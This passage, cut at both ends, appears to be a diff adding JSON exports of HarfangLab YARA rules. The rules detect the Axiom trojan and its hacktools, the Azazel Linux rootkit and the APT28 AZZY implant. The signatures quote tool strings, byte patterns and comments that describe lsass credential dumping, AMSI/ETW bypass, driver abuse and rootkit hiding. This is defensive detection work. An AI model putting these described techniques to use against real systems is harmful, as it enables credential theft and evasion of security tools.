failed\" ascii fullword\n        $string25 = \"[EXTRACTOR] Looping over modules\" ascii fullword\n        $string26 = \"[EXTRACTOR] New module: %S successfully parsed and integrated into dump\" ascii fullword\n        $string27 = \"[EXTRACTOR] Module %ls (hash: %s) discovered at 0x%p\" ascii fullword\n        $string28 = \"[EXTRACTOR] Dumping modules success !\" ascii fullword\n\n        // AXIOM_DuplicatePrivilegedToken()\n        $blacklist_hash1 = {39 65 36 33 32 37 63 36 38 36 31 62 63 32 66 32 61 38 31 61 64 32 36 35 39 38 35 63 36 32 65 61}    // winlogon.exe\n        $blacklist_hash2 = {31 63 33 37 36 63 30 63 35 34 61 34 63 34 39 66 34 37 63 64 38 31 32 34 37 64 38 61 37 66 32 35}    // csrss.exe\n        $blacklist_hash3 = {34 32 35 36 63 36 31 38 65 34 36 31 37 63 62 34 31 61 30 64 35 65 66 39 64 32 38 34 63 63 30 63}    // svchost.exe\n        $blacklist_hash4 = {35 32 33 64 64 32 32 66 30 64 31 34 65 39 31 62 63 31 35 32 62 37 62 36 65 63 34 61 66 64 37 66}    // lsass.exe\n        $blacklist_hash5 = {35 38 31 35 36 31 37 37 34 34 34 63 66 63 34 65 65 34 65 33 35 38 31 33 34 32 30 33 62 33 38 35}    // spoolsv.exe\n        $blacklist_hash6 = {62 62 38 31 38 63 36 32 38 39 39 65 61 34 31 34 62 66 33 63 39 35 33 38 31 38 62 62 30 33 30 37}    // LsaIso.exe\n\n        // ELSASS_ExtractModulesList()\n        $important_hash1 = {64 35 33 33 66 33 32 31 31 33 38 31 34 32 64 65 31 31 34 30 39 37 37 62 31 63 33 31 30 62 32 65}    // lsasrv.dll\n        $important_hash2 = {33 31 32 30 30 30 65 66 34 62 33 38 34 61 39 33 34 36 34 33 64 39 38 35 65 64 34 64 32 63 34 61}    // samsrv.dll\n        $important_hash3 = {33 61 36 63 37 39 64 35 36 63 33 39 34 36 38 38 64 39 65 35 35 38 33 33 32 31 35 30 62 39 39 30}    // ncrypt.dll\n        $important_hash4 = {36 65 31 64 31 36 32 62 33 34 65 35 62 64 34 64 64 61 37 65 35 37 39 39 37 32 38 35 66 36 33 36}    // kerberos.DLL\n        $important_hash5 = {35 65 63 63 34 61 62 35 37 33 33 35 30 61 36 32 36 30 63 36 35 32 33 66 33 34 35 39 35 38 39 66}    // cryptdll.dll\n        $important_hash6 = {32 36 32 30 34 30 38 63 63 36 33 65 37 34 32 63 61 34 38 31 62 39 61 64 62 64 61 31 31 38 62 30}    // msv1_0.dll\n\n        $axiom_ssn1  = {65 38 32 30 34 37 34 32 63 36 39 35 64 36 33 37 61 62 61 37 32 32 33 31 37 30 62 32 34 34 39 37}     // AXIOM_SSN_NtOpenProcess\n        $axiom_ssn2  = {31 65 62 33 31 38 64 64 36 63 62 31 34 64 38 62 32 31 30 62 30 34 65 31 36 35 63 39 35 31 34 30}     // AXIOM_SSN_NtQueryInformationProcess\n        $axiom_ssn3  = {32 36 35 31 32 33 64 66 39 30 63 39 65 32 35 33 38 39 65 38 34 35 31 35 35 66 38 39 63 37 33 65}     // AXIOM_SSN_NtCreateFile\n        $axiom_ssn4  = {30 39 31 38 62 62 61 33 64 30 39 39 39 37 32 36 37 39 62 39 62 33 30 61 31 61 61 66 37 63 64 66}     // AXIOM_SSN_NtReadFile\n        $axiom_ssn5  = {32 31 37 64 34 33 66 30 66 35 64 33 61 30 37 61 37 37 31 36 37 35 31 36 33 65 36 33 31 32 34 31}     // AXIOM_SSN_NtLoadDriver\n        $axiom_ssn6  = {61 65 64 65 66 65 64 36 33 31 36 61 63 64 30 34 30 36 65 66 64 33 34 65 38 63 38 64 30 66 61 66}     // AXIOM_SSN_NtQuerySystemInformation\n        $axiom_ssn7  = {31 30 63 32 33 30 32 31 37 30 66 64 61 35 36 62 61 31 62 30 65 39 64 38 30 65 65 66 35 63 33 64}     // AXIOM_SSN_NtQueryInformationToken\n        $axiom_ssn8  = {31 37 35 35 64 36 62 62 33 65 63 64 39 34 33 61 37 64 61 62 36 66 38 35 66 30 39 35 37 63 31 66}     // AXIOM_SSN_NtOpenProcessToken\n        $axiom_ssn9  = {38 31 35 36 38 61 36 32 30 37 62 31 30 31 37 64 38 61 34 64 63 38 36 38 31 30 65 38 34 36 30 63}     // AXIOM_SSN_NtDuplicateToken\n        $axiom_ssn10 = {36 66 32 37 61 66 66 38 37 64 31 63 35 38 62 34 63 33 31 34 66 62 64 36 65 30 37 34 32 65 36 64}     // AXIOM_SSN_NtProtectVirtualMemory\n        $axiom_ssn11 = {36 31 36 66 30 35 36 38 62 34 33 38 31 36 34 31 65 30 33 61 62 30 33 66 63 31 30 32 30 39 33 38}     // AXIOM_SSN_NtWriteVirtualMemory\n        $axiom_ssn12 = {61 32 31 61 35 39 30 62 66 33 63 33 61 31 61 66 65 34 33 32 62 39 64 66 36 38 33 33 35 36 61 63}     // AXIOM_SSN_NtSetInformationThread\n        $axiom_ssn13 = {34 30 62 33 37 62 39 65 66 62 66 32 33 32 62 32 37 31 38 37 37 34 31 65 62 30 61 32 36 31 31 30}     // AXIOM_SSN_NtQueryObject\n        $axiom_ssn14 = {62 34 34 61 31 38 63 65 33 62 62 34 35 39 33 66 33 62 34 35 32 62 63 34 66 37 33 61 35 38 64 62}     // AXIOM_SSN_NtDuplicateObject\n        $axiom_ssn15 = {66 64 65 66 62 34 65 65 32 37 61 63 36 31 62 32 33 36 38 32 30 62 66 32 33 39 66 35 65 31 61 39}     // AXIOM_SSN_NtQueryVirtualMemory\n        $axiom_ssn16 = {64 62 34 37 65 65 62 65 63 64 39 36 31 62 61 64 30 65 61 64 61 63 35 35 65 64 38 33 36 33 30 62}     // AXIOM_SSN_NtReadVirtualMemory\n        $axiom_ssn17 = {37 63 35 36 33 35 32 65 38 35 30 65 37 37 36 63 38 34 34 62 30 66 33 64 36 37 38 63 38 39 34 37}     // AXIOM_SSN_ZwReadVirtualMemory\n        $axiom_ssn18 = {38 62 39 36 30 34 33 66 34 62 64 35 66 33 62 32 63 65 39 36 37 61 31 31 34 37 32 64 32 63 62 65}     // AXIOM_SSN_NtAdjustPrivilegesToken\n        $axiom_ssn19 = {30 39 62 64 31 66 37 37 63 38 65 33 39 30 61 34 37 65 62 35 37 36 39 39 35 38 39 66 66 66 31 66}     // AXIOM_SSN_NtClose\n        $axiom_ssn20 = {32 33 36 38 65 61 65 61 35 65 35 62 32 39 35 62 65 30 35 38 66 62 34 33 36 64 34 30 37 38 35 30}     // AXIOM_SSN_NtCreateUserProcess\n\n        $drunk_string = \"%02x\" ascii fullword\n        $drunk_md5 = {\n            C7 44 ?? ?? 42 42 42 42       // mov     [rsp+0A8h+var_80], 42424242h\n            [0 - 16]\n            C7 44 ?? ?? EF BE AD DE       // mov     [rsp+0A8h+var_7C], 0DEADBEEFh\n            [0 - 16]\n            C7 44 ?? ?? 01 20 94 06       // mov     [rsp+0A8h+var_78], 6942001h\n            [0 - 16]\n            C7 44 ?? ?? 37 13 37 13       // mov     [rsp+0A8h+var_74], 13371337h\n        }\n\n    condition:\n        (\n            uint16(0) == 0x5a4d and\n            5 of ($string*)\n        )\n        or\n        (\n            2 of ($blacklist_hash*) or\n            2 of ($important_hash*) or\n            2 of ($axiom_ssn*) or\n            all of ($drunk_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "axiom_hacktool"
+  ],
+  "rule_creation_date": "2025-03-26",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Axiom"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1134",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-axiomorphanchild_hacktool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566341Z",
+  "creation_date": "2026-03-23T11:46:25.566343Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566349Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m"
+  ],
+  "name": "axiomorphanchild_hacktool.yar",
+  "content": "rule axiomorphanchild_hacktool {\n    meta:\n        title = \"AxiomOrphanChild HackTool\"\n        id = \"97602233-ac95-4829-b034-648752a7fc2e\"\n        description = \"Detects the AxiomOrphanChild hacktool used to create a child process via a scheduled task and communicate via named pipe.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/mallo-m\"\n        date = \"2025-11-19\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1559;attack.persistence;attack.privilege_escalation;attack.t1053.005\"\n        classification = \"Windows.HackTool.AxiomOrphanChild\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b2e255a8592fafb0c13da884937cc065a2712eca19964f66d9b427b928139983\n\n        $s1  = \"[+] SetRegistrationInfo() success\" ascii fullword\n        $s2  = \"[+] put_StartWhenAvailable() success\" ascii fullword\n        $s3  = \"[+] TriggerCollection->Create() success\" ascii fullword\n        $s4  = \"\\\\\\\\.\\\\pipe\\\\axiomsch\" ascii fullword\n        $s5  = \"/c %s %s > \\\\\\\\.\\\\pipe\\\\axiomsch\" ascii fullword\n        $s6  = \"[!] User and Password are required when using non-interactive mode, use /user: and /password: options\" ascii fullword\n        $s7  = \"[+] Found binary at: %s\" ascii fullword\n        $s8  = \"[!] ConvertStringSecurityDescriptorToSecurityDescriptor(): %d\" ascii fullword\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "axiomorphanchild_hacktool"
+  ],
+  "rule_creation_date": "2025-11-19",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.AxiomOrphanChild"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1559"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-axiomsecrets_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590176Z",
+  "creation_date": "2026-03-23T11:46:25.590178Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590183Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m/AxiomSecrets"
+  ],
+  "name": "axiomsecrets.yar",
+  "content": "rule axiomsecrets_hacktool {\n    meta:\n        title = \"AxiomSecrets HackTool\"\n        id = \"ee18a3aa-3c41-4062-a1fa-4c34bdbd6804\"\n        description = \"Detects the AxiomSecrets hacktool, used to extract protected files by directly parsing the raw NTFS drive.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/mallo-m/AxiomSecrets\"\n        date = \"2025-11-21\"\n        modified = \"2025-12-29\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1006\"\n        classification = \"Windows.HackTool.AxiomSecrets\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fc8c3078c79cd5f8708ba30fac967006721e56ca581fe121e936998b107c9017\n\n        $s1 = \"Volume name error, should be like 'C', 'D'\" ascii fullword\n        $s2 = \"Cannot read root directory of volume\" ascii fullword\n        $s3 = \"[+] All subdirectories have been traversed\" ascii fullword\n        $s4 = \"[!] Can not create backup of file %s: source is a directory\" ascii fullword\n        $s5 = \"%s\\\\%s.bak\" ascii fullword\n        $s6 = \"[!] Usage: %s FILEPATH_1 [{FILEPATH_2}, {FILEPATH_3}, ...] SAVEDIR_PATH\" ascii fullword\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "axiomsecrets_hacktool"
+  ],
+  "rule_creation_date": "2025-11-21",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.AxiomSecrets"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1006"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-axiom_trojan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574065Z",
+  "creation_date": "2026-03-23T11:46:25.574068Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574077Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mallo-m"
+  ],
+  "name": "axiom_trojan.yar",
+  "content": "rule axiom_trojan {\n    meta:\n        title = \"Axiom Trojan\"\n        id = \"79667c8f-92e3-43c4-9aac-df5408c8c8c1\"\n        description = \"Detects the Axiom Trojan.\\nThis tool is used to remotely control computers and used different technique to avoid being detected by security tools such as EDRs.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://github.com/mallo-m\"\n        date = \"2025-03-26\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.privilege_escalation;attack.t1134;attack.t1055;attack.t1068;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Trojan.Axiom\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0b3a218ac5f6c7667b7fb93ada43df2e326e616fde7c86e1103fe605cd4f5385\n\n        $string1 = \"credz.raw\" ascii fullword\n        $string2 = \":ASSET:Tools/ExecAssembly.exe\" ascii fullword\n        $string3 = \"C:\\\\Users\\\\Public\\\\Downloads\\\\assembly.xor\" ascii fullword\n        $string4 = \"EtwEventRegister\" ascii fullword\n        $string5 = \"C:\\\\Windows\\\\Tasks\\\\out.txt\" ascii fullword\n        $string6 = \"C:\\\\ProgramData\\\\Logs.txt\" ascii fullword\n\n        $cmd1 = \"READY_FOR_INPUT\" ascii fullword\n        $cmd2 = \"PPEnum\" ascii fullword\n        $cmd3 = \"CanIHasCredz\" ascii fullword\n        $cmd4 = \"Legacy-ExecAssembly\" ascii fullword\n        $cmd5 = \"portfwd\" ascii fullword\n\n        $action1 = \"disable_dse\" ascii fullword\n        $action2 = \"list_kernel_callbacks\" ascii fullword\n        $action3 = \"start_evil_driver\" ascii fullword\n        $action4 = \"get_system\" ascii fullword\n\n        $debug1  = \"[!] Unknown AXIOM procedure\" ascii fullword\n        $debug2  = \"[+] Service GigaPwn does not exist, requesting file gdrv.sys\" ascii fullword\n        $debug3  = \"[*] AxiomDriver.sys driver is not installed and started\" ascii fullword\n        $debug4  = \"[+] Service AxiomDriver is already started\" ascii fullword\n        $debug5  = \"[EXTRACTOR] All snapshots prerequisites ok, extracting memory...\" ascii fullword\n        $debug6  = \"[+] Requesting sacrificial process' file ExecAssembly.exe\" ascii fullword\n        $debug7  = \"[%s] Process %S is on blacklist, skipping...\" ascii fullword\n        $debug8  = \"[FAILURE] No more duplication to try, exploit failed :(\" ascii fullword\n        $debug9  = \"[DUPLICATOR] Looping through all system handles\" ascii fullword\n        $debug10 = \"[!!!!] NONUNICODEPATH: %s\" ascii fullword\n\n        // EventRegister\n        $provider_guid = {\n            C7 [1-4] E1 3C 0D 23                    // mov     [rbp+1250h+ProviderId.Data1], 230D3CE1h\n            C7 [1-4] CC BC 4E 12                    // mov     dword ptr [rbp+1250h+ProviderId.Data2], 124EBCCCh\n            C7 [1-4] 93 1B D9 CC                    // mov     dword ptr [rbp+1250h+ProviderId.Data4], 0CCD91B93h\n            C7 [1-4] 2E EE 27 E4                    // mov     dword ptr [rbp+1250h+ProviderId.Data4+4], 0E427EE2Eh\n        }\n\n        $amsi1 = \"AmsiScanBuffer\" ascii fullword\n        $amsi2 = {\n            48 8B D8                                // mov     rbx, rax\n            C7 45 20 B8 57 00 07                    // mov     dword ptr [rbp+480h+Buffer], 70057B8h\n            66 C7 45 24 80 C3                       // mov     word ptr [rbp+480h+Buffer+4], 0C380h\n        }\n\n        $indirect_syscall = {\n            (44 8B | 45 8B | 48 8B | 1A 45) ??      // mov     r9d, r13d\n            (49 8B | 48 8B | C0 33 | C9 33) ??      // mov     rdx, r13\n            49 8B 4B 10                             // mov     rcx, [r11+10h]\n            80 39 ??                                // cmp     byte ptr [rcx], 65h\n            75 ??                                   // jnz     short loc_14001E408\n        }\n\n    condition:\n        (\n            uint16(0) == 0x5a4d and\n            (\n                5 of ($string*) or\n                all of ($cmd*) or\n                all of ($action*) or\n                2 of ($debug*)\n            )\n        )\n        or\n        (\n            $provider_guid or\n            all of ($amsi*) or\n            #indirect_syscall > 10\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "axiom_trojan"
+  ],
+  "rule_creation_date": "2025-03-26",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Axiom"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071",
+    "attack.t1134",
+    "attack.t1055",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-azazel_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576782Z",
+  "creation_date": "2026-03-23T11:46:25.576784Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576790Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/chokepoint/azazel/"
+  ],
+  "name": "azazel.yar",
+  "content": "rule linux_library_rootkit_azazel {\n    meta:\n        title = \"Azazel Rootkit\"\n        id = \"b5b4a41f-8d99-4b80-b674-ef78e97db48e\"\n        description = \"Detects the publicly available Azazel LD_PRELOAD userland rootkit.\\nThis rootkit enables adversaries to execute malicious payloads by hijacking environment variables used by the dynamic linker to load shared libraries. This can allow attackers to intercept most function calls, establishing persistence on the system.\"\n        references = \"https://github.com/chokepoint/azazel/\"\n        date = \"2023-12-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.persistence;attack.t1574.006;attack.defense_evasion;attack.t1014;attack.t1070;attack.t1564;attack.credential_access;attack.t1556;attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Rootkit.Azazel\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a\n        // 6af8b3d31101f48911b13e49c660c10ed1d26b60267e8037d2ac174fc0d2f36c\n        // 171de88c1b576162fc5384dcfb94b78a8a82ffd536d438ebf4c4c21e2e8acdae\n\n        $s0 = \"The whole earth has been corrupted through the works that were taught by Azazel: to him ascribe all sin.\" ascii\n        $s1 = \"azazel_init\" ascii fullword\n        $s2 = \"drop_shell\" ascii fullword\n        $s3 = \"\\x00is_invisible\" ascii\n        $s4 = \"is_procnet\" ascii fullword\n        $s5 = \"clean_wtmp\" ascii fullword\n        $s6 = \"hide_ports\" ascii fullword\n        $s7 = \"\\x00read_next_line\\x00\" ascii\n        $s8 = \"azazel.so loaded\" ascii\n        $s9 = \"Don't scratch the walls\" ascii\n        // Encoded constants, as defined in https://github.com/chokepoint/azazel/blob/master/const.h.\n        $s10 = { db 9a c4 de db c8 ca a5 ce d3 c7 bf d3 b8 9f d3 98 a3 c4 db a6 de db c8 ca a5 ce d3 c7 bf d3 b8 9f d3 98 a3 c4 db a6 de db a6 de db 92 a6 c4 db 92 a6 de db a6 c4 db 92 a6 de db 92 a6 de db 9a de db 9a de db 92 8b de db cb cf cc 8d f4 }\n        $s11 = { d1 9b 8a 9d d1 92 9a d0 8d 91 d0 8e 8c 9b 92 91 9f 9a}\n        $s12 = { d1 88 9f 8c d1 92 91 99 d1 8b 8a 93 8e }\n        $s13 = { b6 b7 ad aa b8 b7 b2 bb }\n        $s14 = { d1 8e 8c 91 9d d1 90 9b 8a d1 8a 9d 8e c8 }\n\n    condition:\n        (uint32be(0) == 0x7F454c46) // ELF\n        and ((uint16be(0x10) == 0x03) or (uint16(0x10) == 0x03)) // ET_DYN\n        and (2 of them)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_library_rootkit_azazel"
+  ],
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Azazel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095",
+    "attack.t1070",
+    "attack.t1564",
+    "attack.t1014",
+    "attack.t1556",
+    "attack.t1574.006",
+    "attack.t1059.004"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-azzy_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572973Z",
+  "creation_date": "2026-03-23T11:46:25.572977Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572986Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
+  ],
+  "name": "azzy.yar",
+  "content": "rule azzy {\n    meta:\n        title = \"APT28 AZZY Implant\"\n        id = \"e65fb49a-d86b-4cc5-a23b-82751e869177\"\n        description = \"Detects the APT28 AZZY implant.\\nAPT28, also known as Sofacy, is a notorious cyber threat group known for sophisticated attacks. The AZZY implant is a part of their toolkit, often used for persistence and data exfiltration. This rule detects the presence of AZZY by identifying custom encryption/decryption functions specific to the implant, which are commonly used to avoid detection and maintain persistence.\"\n        references = \"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/\"\n        tags = \"attack.defense_evasion;attack.t1027.013;attack.t1036;attack.execution;attack.t1129;attack.privilege_escalation;attack.t1055;attack.t1574;attack.t1574.002;attack.discovery;attack.t1018;attack.t1057;attack.t1083;attack.t1518\"\n        date = \"2024-07-08\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        classification = \"Windows.Loader.Azzy\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings :\n        // Detection for these samples:\n        // e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45\n        // 1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c\n\n        $s_key00_00 = { F5 C? 45 ?? 71 C? 45 ?? 65 C? 45 ?? 42 C? 45 ?? E2 C? 45 ?? D1 C? 45 ?? ED C? 45 ?? 10 }\n        $s_key00_01 = { de C? 45 ?? 48 C? 45 ?? 9f C? 45 ?? 35 C? 45 ?? 33 C? 45 ?? f5 C? 45 ?? 76 C? 45 ?? 4c }\n        $s_key00_02 = { ef C? 45 ?? 12 C? 45 ?? c2 C? 45 ?? d8 C? 45 ?? 93 C? 45 ?? cf C? 45 ?? 55 C? 45 ?? 3f }\n\n        $s_custom_decryption_function00 = {\n            (c0|c1) ?? 04                   // shl     ecx, 0x4\n            [3]                             // mov     eax, dword [ebp-0x8 {j}]\n            8? ?? 01                        // add     eax, 0x1\n            33??                            // xor     edx, edx  {0x0}\n            b? 08 00 00 00                  // mov     esi, 0x8\n            (f7|f6) ??                      // div     esi\n            [3]                             // mov     eax, dword [ebp+0x14 {key}]\n            0f (b6|b7) ?? ??                // movzx   edx, byte [eax+edx]\n            33 ca                           // xor     ecx, edx\n            [3]                             // mov     eax, dword [ebp-0x8 {j}]\n            8? ?? 02                        // add     eax, 0x2\n            33 ??                           // xor     edx, edx  {0x0}\n            b? 08 00 00 00                  // mov     esi, 0x8\n            (f7|f6) ??                      // div     esi\n            [3]                             // mov     eax, dword [ebp+0x14 {key}]\n            0f (b6|b7) ?? ??                // movzx   esi, byte [eax+edx]\n            [12]                            // mov     edx, dword [ebp-0xc {i}]\n                                            // mov     eax, dword [ebp-0x8 {j}]\n                                            // lea     edi, [eax+edx*8]\n                                            // mov     eax, dword [ebp-0x8 {j}]\n            8? ?? 03           